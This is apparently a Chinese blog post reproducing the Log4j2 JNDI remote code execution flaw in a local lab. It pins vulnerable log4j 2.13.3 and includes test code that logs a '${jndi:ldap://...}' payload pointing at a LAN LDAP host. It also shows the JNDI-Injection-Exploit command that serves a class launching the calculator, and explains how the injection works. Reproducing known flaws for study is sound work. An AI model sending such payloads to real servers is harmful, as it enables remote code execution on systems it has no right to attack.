Log4j2 远程执行漏洞复现

Log4j2 远程执行漏洞复现

目录

构建新的maven项目,引入2.15以下的log4j-core,log4j-api的jar包

<dependencies>
    <!-- org.apache.logging.log4j " log4j-core -->
    <dependency>
        <groupId>org.apache.logging.log4j</groupId>
        <artifactId>log4j-core</artifactId>
        <version>2.13.3</version>
    </dependency>
    <!-- org.apache.logging.log4j " log4j-api -->
    <dependency>
        <groupId>org.apache.logging.log4j</groupId>
        <artifactId>log4j-api</artifactId>
        <version>2.13.3</version>
    </dependency>

</dependencies>

编写测试代码

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class TestLog4j {
    public static final Logger logger =   LogManager.getLogger(TestLog4j.class);

    public static void main(String[] args) {
        System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true");
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");
        // logger.error( "${jndi:ldap://9dyoan.dnslog.cn}");
        // 此处ip需要使用本机局域网ip或网络ip,不能使用127.0.0.1
        logger.error("${jndi:ldap://192.168.15.253:1389/5zcgjy}");
    }
}/

下载JNDI测试服务器

https://github.com/welk1n/JNDI-Injection-Exploit/blob/master/README-CN.md

JNDI注入利用工具,生成JNDI链接并启动后端相关服务,可用于Fastjson、Jackson等相关漏洞的验证

下载到本地,为jar包形式

本地启动JNDI-Injection-Exploit

启动命令:java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]

其中:

  • -C -远程class文件中要执行的命令

    (可选项 , 默认命令是mac下打开计算器,即"open /Applications/Calculator.app")

  • -A - 服务器地址,可以是IP地址或者域名

    (可选项 , 默认地址是第一个网卡地址)

命令会被作为参数传入Runtime.getRuntime().exec()
所以需要确保命令传入exec()方法可执行。

这里用到的是window调用计算器的命令calc

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A "192.168.15.253"

启动TestLog4j 的main方法

即可弹出本地计算器,漏洞复现成功

漏洞解读

Apache Log4j2 远程代码执行漏洞,和很多注入攻击一样,能够得以实施的两个关键条件在于:

用户能够控制输入,或者说需要用户提供部分输入数据

用户提供的输入数据和原本程序要执行的代码进行了拼接,或者被当做代码执行

对于SQL注入,就是用户提交的数据,被数据库系统编译而产生了服务提供者预料之外的非"数据"行为

本次Apache Log4j2存在的远程代码执行漏洞也一样,未经检查或者未经充分检查的用户输入数据,意外变成了代码被执行行为

攻击者通过JNDI注入漏洞,当程序将用户输入的数据记入日志时,利用用户能够控制向记录日志中输入数据的操作,来实现这段特殊的请求,可以出发Apache Log4j2中的远程代码执行漏洞

攻击者首先向漏洞服务器发起攻击请求,通过Log4j2记录攻击请求中包含的基于JNDI和LDAP的恶意负载漏洞服务器发起攻击请求(利用JNDI来执行LDAP协议注入的可执行代码)

记录的恶意负载被处罚后,服务器用过JNDI发起请求.由于攻击请求中的地址是攻击者控制的地址,因此其可以在请求相应中植入恶意可执行脚本,从而成功利用此漏洞在目标服务器上进行远程代码执行,进而攻击服务器

posted @ 2023-02-09 10:06  西红柿炒小番茄  阅读(179)  评论(0)    收藏  举报